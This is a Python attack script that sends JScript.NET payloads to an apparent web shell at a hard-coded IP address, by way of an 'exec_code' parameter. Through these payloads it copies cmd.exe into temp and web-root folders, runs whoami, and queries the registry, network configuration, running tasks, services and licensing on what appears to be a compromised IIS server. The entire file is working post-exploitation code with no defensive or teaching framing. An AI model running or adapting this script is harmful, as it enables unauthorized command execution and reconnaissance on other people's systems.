#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"
def P(exe, args):
    return ('try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="%s";'
            'p.StartInfo.Arguments="%s";p.StartInfo.UseShellExecute=false;'
            'p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;'
            'p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();'
            'Response.Write("OK<"+o+">");}catch(e){Response.Write("EXC:"+e.message);}') % (exe, args)

SYS = "C:\\\\Windows\\\\System32\\\\"
tests = {
 "copy_cmd_temp": ('try{System.IO.File.Copy("C:\\\\Windows\\\\System32\\\\cmd.exe","C:\\\\Windows\\\\Temp\\\\a.exe",true);Response.Write("COPIED;");}catch(e){Response.Write("COPYEXC:"+e.message+";");}'
                   + P("C:\\\\Windows\\\\Temp\\\\a.exe","/c whoami")),
 "copy_cmd_web":  ('try{System.IO.File.Copy("C:\\\\Windows\\\\System32\\\\cmd.exe","C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\a.exe",true);Response.Write("COPIED;");}catch(e){Response.Write("COPYEXC:"+e.message+";");}'
                   + P("C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\a.exe","/c whoami")),
 "reg.exe":    P(SYS+"reg.exe","query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion /v ProductName"),
 "ipconfig":   P(SYS+"ipconfig.exe",""),
 "tasklist":   P(SYS+"tasklist.exe",""),
 "cscript":    P(SYS+"cscript.exe","//nologo C:\\\\Windows\\\\System32\\\\slmgr.vbs /dli"),
 "mshta_simple": P(SYS+"mshta.exe","about:blank"),
 "rundll32":   P(SYS+"rundll32.exe",""),
 "sc.exe":     P(SYS+"sc.exe","query"),
}
for n, c in tests.items():
    try:
        r = requests.post(EVAL, headers={'Content-Type': 'application/x-www-form-urlencoded'},
                          params={"exec_code": c}, verify=False, timeout=30)
        print(f"[{n}] {r.status_code} {r.text.split('!BD')[0][:220]!r}", flush=True)
    except Exception as e:
        print(f"[{n}] err {type(e).__name__} {str(e)[:80]}", flush=True)